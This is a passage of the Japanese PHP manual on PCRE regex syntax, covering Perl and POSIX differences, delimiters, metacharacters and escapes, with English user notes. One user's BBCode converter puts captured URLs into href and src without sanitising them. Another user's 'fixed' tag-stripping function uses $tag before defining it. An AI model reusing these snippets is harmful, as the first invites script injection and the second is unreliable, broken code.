  8. Perl 5.005_02 では、パターンの一部を繰り返すと、キャプチャ文字列の セットに関して奇妙な動作をすることがあるようです。例えば、"aba" を パターン /^(a(b)?)+$/ に対してマッチングを行うと、 $2 には値 "b" が設定されますが、"aabbaa" を /^(aa(bb)?)+$/ に対して マッチングを行うと、$2 はセットされません。 しかし、パターンを /^(aa(b(b))?)+$/ に変えると、 $2 (および $3) はセットされます。 Perl 5.004 では、どちらの場合も $2 はセットされます。 PCRE の場合も、 どちらの場合でもセットされます。将来的に Perl が矛盾のない状態に 変更された場合は、PCRE も追従する可能性があります。
  9. 他の未解決の食い違いとして、パターン /^(a)?(?(1)a|b)+$/ は、 Perl 5.005_02 では文字列 "a" にマッチしますが、PCRE ではマッチしない ということがあります。しかし、Perl と PCRE のいずれでも、/^(a)?a/ で "a" をマッチした場合は $1 が未定義のままとなります。

  10. PCRE では、Perl の正規表現の機能よりさらに拡張された機能を使うことができます。

    1. 戻り読み言明は、固定長の文字列にマッチする必要がありますが、 このとき、戻り読み言明内の選択肢は、それぞれ異なる長さの文字列に マッチするパターンとしても問題ありません。Perl 5.005 では すべての選択肢が同じ長さである必要があります。
    2. PCRE_DOLLAR_ENDONLY が設定され PCRE_MULTILINE が設定されていない場合、メタ文字 $ は文字列の終端にのみ マッチします。
    3. PCRE_EXTRA を設定すると、バックスラッシュの後に意味がない文字が続くと エラーとなります。
    4. PCRE_UNGREEDY を設定すると、量指定子の貪欲さが反転します。つまり、量指定子は、 デフォルトで貪欲でなく、疑問符を後ろに付けてはじめて 貪欲になるようになります。

User Contributed Notes

There are no user contributed notes for this page.


POSIX 正規表現との違い

PHP 5.3.0 以降、POSIX 正規表現 拡張モジュールは非推奨となりました。POSIX の正規表現と PCRE の正規表現にはさまざまな違いがあります。 このページでは、PCRE への移行の際に知っておくべきもっとも重要な違いをまとめます。

  1. PCRE 関数では、パターンを デリミタ で囲まなければなりません。
  2. POSIX とは異なり、PCRE 拡張モジュールには大文字小文字を区別しないマッチング専用の関数がありません。 同等の機能は、i (PCRE_CASELESS) パターン修飾子 でサポートしています。それ以外にもパターン修飾子がいくつかあり、 マッチングの振る舞いを変えることができます。
  3. POSIX 関数は、いちばん左側にある最も長くマッチするパターンを探します。 しかし PCRE は、マッチするパターンが最初に見つかった時点で処理を終えます。 マッチするパターンがまったくない文字列の場合は何も相違はありませんが、 マッチするパターンがある場合は結果や処理速度に大きな影響が出る可能性があります。 この違いを説明するために、Jeffrey Friedl の "Mastering Regular Expressions (「詳説 正規表現」)" にある以下の例を考えてみましょう。 PCRE でパターン one(self)?(selfsufficient)? を文字列 oneselfsufficient に適用すると oneself にマッチしますが、 POSIX の場合は文字列全体 oneselfsufficient にマッチします。 どちらの結果も元の文字列にマッチしますが、POSIX の場合はもっとも長いものを結果とするのです。
  4. POSIX における "文字クラス" の定義は PCRE とは異なります。 シンプルな角括弧を使って明示的な文字にマッチさせるというのが PCRE の 文字クラス ですが、POSIX の照合順序や文字クラスや等価文字には対応していません。 最初と最後が :、. あるいは = で囲まれている文字クラスを PCRE で使うと、これらのサポートしていない機能を使うとして、コンパイルエラーが発生します。

関数の置き換え
POSIX | PCRE
ereg_replace() | preg_replace()
ereg() | preg_match()
eregi_replace() | preg_replace()
eregi() | preg_match()
split() | preg_split()
spliti() | preg_split()
sql_regcase() | No equivalent

User Contributed Notes

cdragon at dracoventions dot com 21-Jul-2013 03:48
In regards to the previous comment that says "there are several other differences including different meaning for the symbols  ( [ different rules for which symbols need escaping", as far as I can tell from reading
http://www.tin.org/bin/man.cgi?section=7&topic=regex
there are absolutely no "other differences" except in what the man page calls "Obsolete  ("basic'')  regular  expressions".  However, PHP doesn't appear to use the obsolete form of expressions in its POSIX functions.

PCRE even supports all of the POSIX named character classes such as [:space:].
jasen at treshna dot com 26-Oct-2011 03:11
there are several other differences

including different meaning for the symbols  ( [
different rules for which symbols need escaping (they can't be the same as both standard posix and extended posix)

you should read the full documentation for PCRE before chaging any posix regex to use pcre.


パターン構文

目次

  • はじめに
  • デリミタ
  • メタ文字
  • エスケープシーケンス
  • Unicode 文字プロパティ
  • アンカー
  • ドット
  • 文字クラス
  • 選択肢
  • 内部オプション設定
  • サブパターン
  • 繰り返し
  • 後方参照
  • 言明
  • 再試行無しのサブパターン
  • 条件付きサブパターン
  • コメント
  • 再帰的パターン
  • パフォーマンス

User Contributed Notes

Hayley Watson 05-Jan-2018 11:38
As a rule of thumb, it's better to describe your regular expression patterns using single-quoted strings.

Using double-quoted strings, the interaction between PHP's and PCRE's interpretations of which bits of the string are escape sequences can get messy. Regular expressions can get messy enough as it is without another layer of escaping making it worse.
mbrodin 24-Nov-2008 01:18
Hi!

For even better prestanda of the code below, use;

<?php
    $f = array();

    foreach($allTags[1] as $tag){
    $f[] = "%(<$tag.*?>)(.*?)(<\/$tag.*?>)%is";
    }

    if(sizeof($f)) $str = preg_replace($f, ($stripContent ? '' : '${2}'), $str);
?>

This will not use preg_replace on every tag, instead it collect the regex as array, and then executes and should be better.

It also check so there are any regex to replace! If not, it will not start preg_replace! :)

Added the "<?php" so it will highlight the code!
datacompboy at call2ru dot com 29-Oct-2007 10:24
For example, you want to cut an some <div> element.
Accurate, from <div> to correspond </div> element.
Here is proof-of-concept code to do this:

<?
$str = "<dqiv1>1+<div2>2+<div3><b><c>3</c></b></div3>2-</div2>1-</div1>";

preg_match("#<div.> ( ".
              " ( (?>[^<]*) ( < ( ([^/d]|d([^i]|i[^v])) | /([^d]|d([^i]|i[^v])) ) )? )* ".
           " | (?R) )* </div.>#xi", $str, $m);
var_dump($m[0]);

?>

it match accurate from <div2> to </div2>. And, if you change <dqiv1> to <div1>, it will match from <div1> to </div1>
chris at madblanks dot org 04-Jul-2007 12:22
When enclosing your regular expression in double quotes, back references require two backslashes.

For example, \1 is the ascii character \1. You need to provide \\1 to get the back reference.
sam marshall 24-May-2007 10:23
For anyone who sees this error:

Warning: preg_match() [function.preg-match]: Compilation failed: PCRE does not support \L, \l, \N, \P, \p, \U, \u, or \X at ...

As this manual page says, you need PHP 5.1.0 and the /u modifier in order to enable these features, but that isn't the only requirement! It is possible to install later versions of PHP (we have 5.1.4) while linking to an older PCRE install. A quick look at the PCRE changelog suggests that you probably need at least PCRE 5; we're running 4.5, while the latest is 7.1. You can find out your PCRE version by checking phpinfo().

I suspect this ancient PCRE version is included in some officially-supported Red Hat Enterprise package which is probably why we are running it so might also affect other people.
pstradomski at gmail dot com 29-Mar-2007 07:55
About strip_selected_tags function from two posts below:

it does not work if somebody uses tags without ending ">" character, like this:

<p <b> bold text </b</p

This  is even valid HTML (but not valid XHTML)
theppg_001 at hotmail dot com 20-Nov-2006 01:22
Hi there
This was originally made by someone eles but it didn't work correctly and so I remade it and as far as I know it works right.

<?php
/**
* strip_selected_tags ( string str [, string strip_tags[, strip_content flag]] )
* ---------------------------------------------------------------------
* Like strip_tags() but inverse; the strip_tags tags will be stripped, not kept.
* strip_tags: string with tags to strip, ex: "<a><p><quote>" etc.
* strip_content flag: TRUE will also strip everything between open and closed tag
*/
function strip_selected_tags($str, $tags = "", $stripContent = false)
{
    preg_match_all("/<([^>]+)>/i", $tags, $allTags, PREG_PATTERN_ORDER);
    $replace = "%(<$tag.*?>)(.*?)(<\/$tag.*?>)%is";
    foreach ($allTags[1] as $tag) {
        if ($stripContent) {
            $str = preg_replace($replace,'',$str);
        }
            $str = preg_replace($replace,'${2}',$str);
    }
    return $str;
}
?>

Before I 'fixed' it, when running
strip_selected_tags("this is <p align=\"center\">a test</p> and <b>this is bold</b>","<p><b>")
You would get back
"this is <p align=\"center\">a test</p> and this is bold"
Why? Because it did not take into account that there could be options etc in the HTML Tag.
My one works perfectly when stripping just the tags or the tag and its contents too!

So now when you run
strip_selected_tags("this is <p align=\"center\">a test</p> and <b>this is bold</b>","<p><b>")
You get back
"this is a test and this is bold"
Or when running
strip_selected_tags("this is <p align=\"center\">a test</p> and <b>this is bold</b>","<p><b>",true)
You get back
"this is  and "

Hope it helps someone :)
Daniel Vandersluis 23-Nov-2005 10:50
Concerning note #6 in "Differences From Perl", the \G token *is* supported as the last match position anchor. This has been confirmed to work at least in preg_replace(), though I'd assume it'd work in preg_match_all(), and other functions that can make more than one match, as well.
roland dot illig at gmx dot de 08-Nov-2005 01:02
<quote>
9. Another as yet unresolved discrepancy is that in Perl 5.005_02 the pattern /^(a)?(?(1)a|b)+$/ matches the string "a", whereas in PCRE it does not. However, in both Perl and PCRE /^(a)?a/ matched against "a" leaves $1 unset.
</quote>

The last sentence does not indicate a bug. If the string "a" should match against the regular expression /^(a)?a/, the last "a" in the regex must be matched by any literal "a" in the string. The rest of the string is "", which obviously does not match the first /^(a)/.
Ned Baldessin 16-Jul-2005 04:14
Although \w and \W do include as "word characters" locale-specific characters (like "?" if you are using the "fr" locale), \b and \B do not work the same way.

For example :
"foo ?tait bar"   =>   /\W(?tait)\W/   =>   This captures correctly "?tait".
"foo ?tait bar"   =>   /\b(?tait)\b/   =>   This fails to capture it.

This is confusing, because the manual talks in both cases about "word characters", but fails to mention the difference in behaviour.
onerob at gmail dot com 01-Apr-2005 04:51
If, like me, you tend to use the /U pattern modifier, then you will need to remember that using ? or * to to test for optional characters will match zero characters if it means that the rest of the pattern can continue matching, even if the optional characters exist.

For instance, if we have this string:

a___bcde

and apply this pattern:

'/a(_*).*e/U'

The whole pattern is matched but none of the _ characters are placed in the sub-pattern. The way around this (if you still wish to use /U) is to use the ? greediness inverter. eg,

'/a(_*?).*e/U'
W W W 07-Mar-2005 07:22
Back references are a great way to achieve exact matching when it would have been impossible any other way. Take these three strings.

1) "www.www.com"
2) 'www.www.com'
3) "www.www.com'

The regex /^("|').+?("|')$/ would match all three strings but what if you needed the 3rd string above to be illegal because the quotes are not the same? You could write four different regexes to check for every possible case OR you could use back references.

/^("|').+?\1$/ will match strings 1 and 2 but not string 3. Try this code for further proof:

$str_test="'www.www.com\"";
$int_count=preg_match("/^(\"|').+?\\1$/", $str_test, $matches, PREG_OFFSET_CAPTURE);

The preg_match function will not match against $str_test because the quotes are mismatched. If you change $str_test to

$str_test = "'www.www.com'";

the preg_match will work.
info at atjeff dot co dot nz 07-Feb-2005 04:46
ive never used regex expressions till now and had loads of difficulty trying to convert a [url]link here[/url] into an href for use with posting messages on a forum, heres what i manage to come up with:

$patterns = array(
            "/\[link\](.*?)\[\/link\]/",
            "/\[url\](.*?)\[\/url\]/",
            "/\[img\](.*?)\[\/img\]/",
            "/\[b\](.*?)\[\/b\]/",
            "/\[u\](.*?)\[\/u\]/",
            "/\[i\](.*?)\[\/i\]/"
        );
        $replacements = array(
            "<a href=\"\\1\">\\1</a>",
            "<a href=\"\\1\">\\1</a>",
            "<img src=\"\\1\">",
            "<b>\\1</b>",
            "<u>\\1</u>",
            "<i>\\1</i>"

        );
        $newText = preg_replace($patterns,$replacements, $text);

at first it would collect ALL the tags into one link/bold/whatever, until i added the "?" i still dont fully understand it... but it works :)
J Daugherty 09-Dec-2004 09:06
In the character class meta-character documentation above, the circumflex (^) is described:

"^   negate the class, but only if the first character"

It should be a little more verbose to fully express the meaning of ^:

^    Negate the character class.  If used, this must be the first character of the class (e.g. "[^012]").
napalm at spiderfish dot net 17-Mar-2004 08:14
Pay attention that some pcre features such as once-only or recursive patterns are not implemented in php versions prior to 5.00

Napalm


はじめに

PCRE がサポートする正規表現の構文と意味体系を以下に示します。 正規表現については、Perl のドキュメントや他の多くの書籍においても 解説されており、実例が豊富に記載されているものもあります。特に、 O'Reilly 発刊 Jeffrey Friedl 著 "Mastering Regular Expressions" (ISBN 1-56592-257) 〔日本語版：「詳説 正規表現」〕には、 たいへん詳細に解説されています。

以降の説明は、参考文書 (reference documentation) として 扱われることを想定しています。

正規表現は、ある種のパターンであり、検索対象文字列 (subject string) に対して左から右〔文字列の初めから終わり〕の順にマッチングが行われます。 一部の例外を除き、パターン中の文字はその文字自体を表し、 検索対象文字列内の同じ文字にマッチします。簡単な例をあげると、パターン

      The quick brown fox
は、検索対象文字列内にある、このパターンと同一の部分にマッチします。

User Contributed Notes

There are no user contributed notes for this page.


デリミタ

PCRE 関数を使うときには、パターンを delimiters で囲まなければなりません。 英数字、バックスラッシュ、空白文字以外の任意の文字をデリミタとして使うことができます。

デリミタとしてよく使われる文字は、スラッシュ (/)、 ハッシュ記号 (#) およびチルダ (~) です。 次に示す例は、どれも正しいデリミタです。

/foo bar/
#^[^0-9]$#
+php+
%[a-zA-Z0-9_-]%

角括弧形式のデリミタを使うこともできます。 これは、開き角括弧と閉じ角括弧がそれぞれ開始デリミタ、終了デリミタを表す形式です。 ()、 {}、[] そして <> はどれも、角括弧形式のデリミタとして有効です。

(this [is] a (pattern))
{this [is] a (pattern)}
[this [is] a (pattern)]
<this [is] a (pattern)>
角括弧形式のデリミタを使う場合は、パターン内でメタ文字を使うときのエスケープは不要です。 しかし、他のデリミタと同様、(メタ文字としてではなく) リテラルとして扱う場合は、 エスケープする必要があります。

パターンの中でデリミタ文字をマッチさせたい場合は、バックスラッシュでエスケープしなければなりません。 パターン内でデリミタが頻繁にあらわれる場合は、 デリミタを別の文字に変更したほうが読みやすくなります。

/http:\/\//
#http://#
preg_quote() 関数を使うと、パターンに使う文字列をエスケープすることができます。 オプションの二番目のパラメータで、エスケープするデリミタを指定します。

終了デリミタの後に パターン修飾子 を付加することもできます。次の例は、大文字小文字を区別しないマッチを行うものです。

#[a-z]#i

User Contributed Notes

rawr dot t dot regx at gmail dot com 03-Jul-2019 05:24
You might also use T-Regx library, which has automatic delimiters:

pattern('Foo(Bar)?')->test($text);
Revo 12-Dec-2018 08:56
Note that angle brackets `<>` shouldn't be used as delimiters whenever you will have to invoke advanced clusters like atomic groups or lookbehinds because their including angle bracket doesn't come in pair and escaping doesn't help either.
sln 05-May-2016 06:57
The dirty little delimiter secret they don't tell you ->
Examples: Balanced delims {\d{2}Some\\{33\\}\w{5}} parses to
\d{2}Some\\{33\\}\w{5} and {\d{2}Some\{33\}\w{5}} parses to \d{2}Some{33}\w{5}.
Un-Balanced delims +\d{2}Some\+33\+\w{5}+ parses to \d{2}Some+33+\w{5} and
+\d{2}Some\\+33\\+\w{5}+ won't parse because the delimiter is unescaped.
hmelin at ya dot ru 06-Apr-2016 01:31
A delimiter can be any ASCII non-alphanumeric, non-backslash, non-whitespace character:  !"#$%&'*+,./:;=?@^_`|~-  and  ({[<>]})
Munin 26-Aug-2015 01:07
preg_match('{[}]}', ''); // Warning: preg_match(): Unknown modifier ']'

preg_match('{[\}]}', ''); // OK
Pedro Gimeno 26-Feb-2015 12:46
Note that bracket style opening and closing delimiters aren't a 100% problem-free solution, as they need to be escaped when they aren't in matching pairs within the expression. That mismatch can happen when they appear inside character classes [...], as most meta-characters lose their special meaning. Consider these examples:

<?php
  preg_match('{[{]}', ''); // Warning: preg_match(): No ending matching delimiter '}'
  preg_match('{[}]}', ''); // Warning: preg_match(): Unknown modifier ']'
  preg_match('{[}{]}', ''); // Warning: preg_match(): Unknown modifier ']'
?>

Escaping them solves it:

<?php
  preg_match('{[\{]}', ''); // OK
  preg_match('{[}]}', ''); // OK
  preg_match('{[\}\{]}', ''); // OK
?>


メタ文字

正規表現の強力さは、パターン中に選択肢や繰り返しを記述できることに あります。選択肢や繰り返しは、メタ文字 (meta-character) を使ってパターン中に記述します。メタ文字は、 その文字自体を表わさず、代わって特別な解釈が行われます。

メタ文字には、2 種類あります。ひとつは、角カッコ内を除き、 パターン中のどこででも使用できる文字です。もうひとつは、 角カッコで括られた中でだけ使用できる文字です。

前者の角カッコ外で使用できるメタ文字には、次のものがあります。

角カッコ外で使用できるメタ文字
メタ文字 | 説明
\ | 多目的に使う一般的なエスケープ文字
^ | 検索対象（複数行モードでは行）の始まりを言明
$ | 検索対象の終わりあるいは終端の改行文字の前（複数行モードでは行の終わり）を言明
. | 改行を除くすべての文字にマッチ（デフォルト時）
[ | 文字クラス定義の開始
] | 文字クラス定義の終了
| | 選択枝の開始
( | サブパターンの開始
) | サブパターンの終了
? | ( の意味を拡張／0 または 1 回マッチ／なるべく少ない回数だけマッチ (繰り返し を参照)
* | 0 回以上の繰り返し
+ | 1 回以上の繰り返し
{ | 最小／最大を指定する量指定子の開始
} | 最小／最大を指定する量指定子の終了
パターン中の角カッコで括まれた部分を「文字クラス」と言います。 文字クラスで使えるメタ文字は、次のものだけです。
角カッコ内のメタ文字 (文字クラス)
Meta-character | Description
\ | 一般的なエスケープ文字
^ | クラスの否定。ただし、文字クラスの最初の文字に用いた場合のみ
- | 文字の範囲の指定
以降のセクションで、各メタ文字の使用法の説明を行います。

User Contributed Notes

fiwswe 06-Jun-2020 11:15
".    match any character except newline (by default)"

Here "newline" seems to include both \n (LF) and \r (CR) in PHP 7.4.6. PHP 7.3.18 seems to be more tolerant and only include \n (LF).

Example:

<?php
$s = "HTTP/1.1 200 OK\r\n";
if (!preg_match('/^HTTP\/(\d\.\d)\s*(\d+).*\n/', $s, $m))
    echo "Not matched correctly!\n";
else
    echo "OK\n";
?>

The ".*" is supposed to match 0-n characters including \r (CR). It does so in PHP 7.3.18 but not in PHP 7.4.6.

Result (PHP 7.3.18):
OK

Result (PHP 7.4.6):
Not matched correctly!

A pattern that works in both versions of PHP looks like this:
'/^HTTP\/(\d\.\d)\s*(\d+).*\r?\n/'
Wirek 23-Feb-2018 11:30
An important addendum (with new $pat3_2 utilising \R properly, its results and comments):
Note that there are (sometimes difficult to grasp at first glance) nuances of meaning and application of escape sequences like \r, \R and \v - none of them is perfect in all situations, but they are quite useful nevertheless. Some official PCRE control options and their changes come in handy too - unfortunately neither (*ANYCRLF), (*ANY) nor (*CRLF) is documented here on php.net at the moment (although they seem to be available for over 10 years and 5 months now), but they are described on Wikipedia ("Newline/linebreak options" at https://en.wikipedia.org/wiki/Perl_Compatible_Regular_Expressions) and official PCRE library site ("Newline convention" at http://www.pcre.org/original/doc/html/pcresyntax.html#SEC17) pretty well. The functionality of \R appears somehow disappointing (with default configuration of compile time option) according to php.net as well as official description ("Newline sequences" at https://www.pcre.org/original/doc/html/pcrepattern.html#newlineseq) when used improperly.

A hint for those of you who are trying to fight off (or work around at least) the problem of matching a pattern correctly at the end (or at the beginning) of any line even without the multiple lines mode (/m) or meta-character assertions ($ or ^).
<?php
// Various OS-es have various end line (a.k.a line break) chars:
// - Windows uses CR+LF (\r\n);
// - Linux LF (\n);
// - OSX CR (\r).
// And that's why single dollar meta assertion ($) sometimes fails with multiline modifier (/m) mode - possible bug in PHP 5.3.8 or just a "feature"(?) of default configuration option for meta-character assertions (^ and $) at compile time of PCRE.
$str="ABC ABC\n\n123 123\r\ndef def\rnop nop\r\n890 890\nQRS QRS\r\r~-_ ~-_";
//          C          3                   p          0                   _
$pat3='/\w\R?$/mi';    // Somehow disappointing according to php.net and pcre.org when used improperly
$pat3_2='/\w(?=\R)/i';    // Much better with allowed lookahead assertion (just to detect without capture) without multiline (/m) mode; note that with alternative for end of string ((?=\R|$)) it would grab all 7 elements as expected, but '/(*ANYCRLF)\w$/mi' is more straightforward in use anyway
$p=preg_match_all($pat3, $str, $m3);
$r=preg_match_all($pat3_2, $str, $m4);
echo $str."\n3 !!! $pat3 ($p): ".print_r($m3[0], true)
    ."\n3_2 !!! $pat3_2 ($r): ".print_r($m4[0], true);
// Note the difference between the two very helpful escape sequences in $pat3 and $pat3_2 (\R) - for some applications at least.

/* The code above results in the following output:
ABC ABC

123 123
def def
nop nop
890 890
QRS QRS

~-_ ~-_
3 !!! /\w\R?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

3_2 !!! /\w(?=\R)/i (6): Array
(
    [0] => C
    [1] => 3
    [2] => f
    [3] => p
    [4] => 0
    [5] => S
)
 */
?>
Unfortunately, I haven't got any access to a server with the latest PHP version - my local PHP is 5.3.8 and my public host's PHP is version 5.2.17.
Wirek 19-Feb-2018 10:15
Significantly updated version (with $pat4 and the best $pat5!):
A hint for those of you who are trying to fight off (or work around at least) the problem of matching a pattern correctly at the end ($) of any line in multiple lines mode (/m).
<?php
// Various OS-es have various end line (a.k.a line break) chars:
// - Windows uses CR+LF (\r\n);
// - Linux LF (\n);
// - OSX CR (\r).
// And that's why single dollar meta assertion ($) sometimes fails with multiline modifier (/m) mode - possible bug in PHP 5.3.8 or just a "feature"(?).
$str="ABC ABC\n\n123 123\r\ndef def\rnop nop\r\n890 890\nQRS QRS\r\r~-_ ~-_";
//          C          3                   p          0                   _
$pat1='/\w$/mi';
$pat2='/\w\r?$/mi';
$pat3='/\w\R?$/mi';
$pat4='/\w\v?$/mi';
$pat5='/(*ANYCRLF)\w$/mi';
$n=preg_match_all($pat1, $str, $m1);
$o=preg_match_all($pat2, $str, $m2);
$p=preg_match_all($pat3, $str, $m3);
$r=preg_match_all($pat4, $str, $m4);
$s=preg_match_all($pat5, $str, $m5);
echo $str."\n1 !!! $pat1 ($n): ".print_r($m1[0], true)
    ."\n2 !!! $pat2 ($o): ".print_r($m2[0], true)
    ."\n3 !!! $pat3 ($p): ".print_r($m3[0], true)
    ."\n4 !!! $pat4 ($r): ".print_r($m4[0], true)
    ."\n5 !!! $pat5 ($s): ".print_r($m5[0], true);
// Note the difference between the three very helpful escape sequences in $pat2 (\r), $pat3 (\R), $pat4 (\v) and altered newline option in $pat5 ((*ANYCRLF)) - for some applications at least.

/* The code above results in the following output:
ABC ABC

123 123
def def
nop nop
890 890
QRS QRS

~-_ ~-_
1 !!! /\w$/mi (3): Array
(
    [0] => C
    [1] => 0
    [2] => _
)

2 !!! /\w\r?$/mi (5): Array
(
    [0] => C
    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

3 !!! /\w\R?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

4 !!! /\w\v?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

5 !!! /(*ANYCRLF)\w$/mi (7): Array
(
    [0] => C
    [1] => 3
    [2] => f
    [3] => p
    [4] => 0
    [5] => S
    [6] => _
)
 */
?>
Unfortunately, I haven't got any access to a server with the latest PHP version - my local PHP is 5.3.8 and my public host's PHP is version 5.2.17.
Wirek 19-Feb-2018 06:46
A hint for those of you who are trying to fight off (or work around at least) the problem of matching a pattern correctly at the end ($) of any line in multiple lines mode (/m).
<?php
// Various OS-es have various end line (a.k.a line break) chars:
// - Windows uses CR+LF (\r\n);
// - Linux LF (\n);
// - OSX CR (\r).
// And that's why single dollar meta assertion ($) sometimes fails with multiline modifier (/m) mode - possible bug in PHP 5.3.8(?).
$str="ABC ABC\n\n123 123\r\ndef def\rnop nop\r\n890 890\nQRS QRS\r\r~-_ ~-_";
//          C          3                   p          0                   _
$pat1='/\w$/mi';
$pat2='/\w\r?$/mi';
$pat3='/\w\R?$/mi';
$n=preg_match_all($pat1, $str, $m1);
$o=preg_match_all($pat2, $str, $m2);
$p=preg_match_all($pat3, $str, $m3);
echo $str."\n1 !!! $pat1 ($n): ".print_r($m1[0], true)
    ."\n2 !!! $pat2 ($o): ".print_r($m2[0], true)
    ."\n3 !!! $pat3 ($p): ".print_r($m3[0], true);
// Note the difference between the two very helpful escape sequences in $pat2 (\r) and in $pat3 (\R) - for some applications at least.

/* The code above results in the following output:
ABC ABC

123 123
def def
nop nop
890 890
QRS QRS

~-_ ~-_
1 !!! /\w$/mi (3): Array
(
    [0] => C
    [1] => 0
    [2] => _
)

2 !!! /\w\r?$/mi (5): Array
(
    [0] => C
    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

3 !!! /\w\R?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)
 */
?>
Unfortunately, I haven't got any access to a server with the latest PHP version - my local PHP is 5.3.8 and my public host's PHP is version 5.2.17.
Kurt Wei 17-Feb-2016 10:43
disturbing usage of "any character" for multi-lines...

remark:
'.' (all characters) just does NOT include on single character the newline (\n) by default,
while \n is included in all other matching searches (e.g. \s).
Funny enough, the "carriage return" (\r) is included, when using '.'

You have to write "(.|\\n)" instead of a single dot, with disadvantages in using complex matching-results,

or simple use the "s" modificator to bring dot to accept the newline.

$subject="<tag>Hello\nWorld</tag>";

preg_match( '/<tag>[A-Za-z\\s]*<\\/tag>/' , $subject ); //true
preg_match( '/<tag>[^<]*<\\/tag>/' , $subject ); //true
preg_match( '/<tag>(.|\\n)*<\\/tag>/' , $subject ); //true
preg_match( '/<tag>.*<\\/tag>/s' , $subject ); //true
preg_match( '/<tag>.*<\\/tag>/' , $subject ); //ATTENTION! *false*
Thomas 27-Mar-2015 12:38
The meta character $ accepts a (one) newline character (\n).

(Take a moment to let this information sink in)

You might want to (r)trim() your input afterwards if you have a match because otherwise it (still) might not meet a length requirement or other strange stuff might happen when you store the input as-is.


エスケープシーケンス

バックスラッシュ〔日本語環境では円記号となる場合もある〕には、 いくつかの使用法があります。ひとつめの使用法は、 非英数字の前に記述する場合で、続く文字が表す特別な意味を取り去ります。 このエスケープ文字としての使用法は、 文字クラスの内外部いずれでも可能です。

たとえば、"*" 文字とマッチさせたい場合は、パターンを "\*" と記述します。 続く文字がメタ文字として解釈されるものであるかには関係ありませんので、 いかなる非英数字に対しても、"\" を付けると、その文字自体が 表わされることになります。特に、 バックスラッシュとマッチさせたい場合は、"\\" と記述します。

注意:

シングルクォートあるいはダブルクォートで囲まれた PHP の 文字列 の中では、バックスラッシュは特別な意味を表します。 そのため、正規表現 \\ を使用して \ とマッチさせたい場合は PHP のコード内では "\\\\" あるいは '\\\\' と記述する必要があります。

パターンを、 PCRE_EXTENDED オプションを付けてコンパイルすると、（文字クラス内部を除き） パターン中の空白文字、および "#" とその次の改行文字との間の文字は 無視されます。空白文字や "#" をパターン中に含めるには、 バックスラッシュを用いてエスケープします。

バックスラッシュの 2 番目の使用法は、非表示文字〔制御コードなど〕を パターン中に目に見える形で記述するための方法です。ヌル文字は パターンを終了させてしまうため使えませんが、その他の非表示文字は、 パターンにそのまま含めても問題はありません。しかし、パターンの編集には、 バイナリ文字をそのまま用いるよりも、以下に示すエスケープシーケンスを 用いる方が便利でしょう。

\a
アラーム、ベル文字 (16進 07)
\cx
"control-x", ここで x は任意の文字
\e
エスケープ文字 (16進 1B)
\f
改ページ (formfeed) (16進 0C)
\n
改行 (newline) (16進 0A)
\p{xx}
xx プロパティを持つ文字、詳細は unicode プロパティ を参照
\P{xx}
xx プロパティを持たない文字、詳細は unicode プロパティ を参照
\r
復帰 (carriage return) (16進 0D)
\R
改行: \n、\r、\r\n にマッチする
\t
タブ (16進 09)
\xhh
16 進コードで hh の文字
\ddd
8 進コードで ddd の文字、もしくは、後方参照

"\cx" の正確な働きは、次の通りです。"x" が小文字の場合、 大文字に変換されます。続いて、文字の 6 ビット目 (16進数 40) が 反転されます。つまり、"z" は 16 進数の 1A になり、"{" は 3B になり、 ";" は 7B になります。

"\x" の後では、2 桁までの 16 進数が読まれます （大小文字どちらも可能です）。 "\0" の後では、さらに 2 桁の 8 進数が 読みこまれます。いずれの場合も、2 桁より少ない場合、桁があるだけ 読みこまれます。つまり、"\0\x\07" は ヌル文字 2 つの後にベル文字が 続いたものを表します。8 進数を指定する場合は、必ず最初のゼロに続いて 残りの 2 桁の数字を指定するように注意してください。

バックスラッシュの後に 0 以外の数字が続く場合の処理は複雑です。 文字クラスの外部では、 PCRE は、続く数字全体を 10 進数として読みます。 数字が 10 よりも小さい場合、または、正規表現の中に含まれる キャプチャ用左カッコの数以下の場合、 後方参照 として解釈されます。 この動作に関する詳しい説明は、後ほど、カッコによるサブパターンの説明を 行ってから示します

文字クラスの中、または、指定された 10 進数が 9 より大きく、 キャプチャ用サブパターンの数がこの数に満たない場合は、PCRE は バックスラッシュの後から最大 3 文字の 8 進数を再度読みこみ、 その値の最下位 8 ビットから 1 バイトを生成します。 その後に続く数字は、それ自体を表します。以下に例を示します。

\040
スペースの別の表記法
\40
上と同じ。ただし、キャプチャ用サブパターンが 40 個未満の場合
\7
常に後方参照
\11
後方参照、または、タブの別記法
\011
常にタブ
\0113
タブの後に文字 "3" が続いたもの
\113
8進コードで 113 の文字 (99 を超える後方参照は存在しないため)
\377
全ビットが 1 である 1 バイト
\81
後方参照、または、ヌル文字の後に 2つの文字 "8" および "1" が続いたもの

3 桁を超えて 8 進数は読みこまれないため、100 以上の 8 進数には ゼロを前につけてはいけないことに注意してください。

これらの 1 バイト値を定義するエスケープシーケンスは、 文字クラスの内外部のいずれでも使用できます。加えて、文字クラス内では エスケープシーケンス "\b" はバックスペース (16進 0x) として解釈されます。 文字クラス外では、別の意味を有します（別記参照）。

バックスラッシュの第 3 の使用法は、包括的な文字型を指定する用途です。

\d
10 進数字
\D
10 進数字でない文字
\h
水平方向の空白文字 (PHP 5.2.4 以降)
\H
水平方向の空白文字でない文字 (PHP 5.2.4 以降)
\s
空白文字
\S
空白文字でない文字
\v
垂直方向の空白文字 (PHP 5.2.4 以降)
\V
垂直方向の空白文字でない文字 (PHP 5.2.4 以降)
\w
単語構成文字 (word character)
\W
非単語構成文字 (non-word character)

これらエスケープシーケンスの各組により、文字集合が 2 つに分割されます。 文字は、各組のどちらか片方だけにマッチします。

空白文字とは HT (9)、LF (10)、FF (12)、CR (13)、スペース (32) のことです。 しかし、ロケールを指定したマッチングを行った場合には、128から255までのコードポイントの文字 (たとえば NBSP (A0)) も空白文字とみなされる可能性があります。

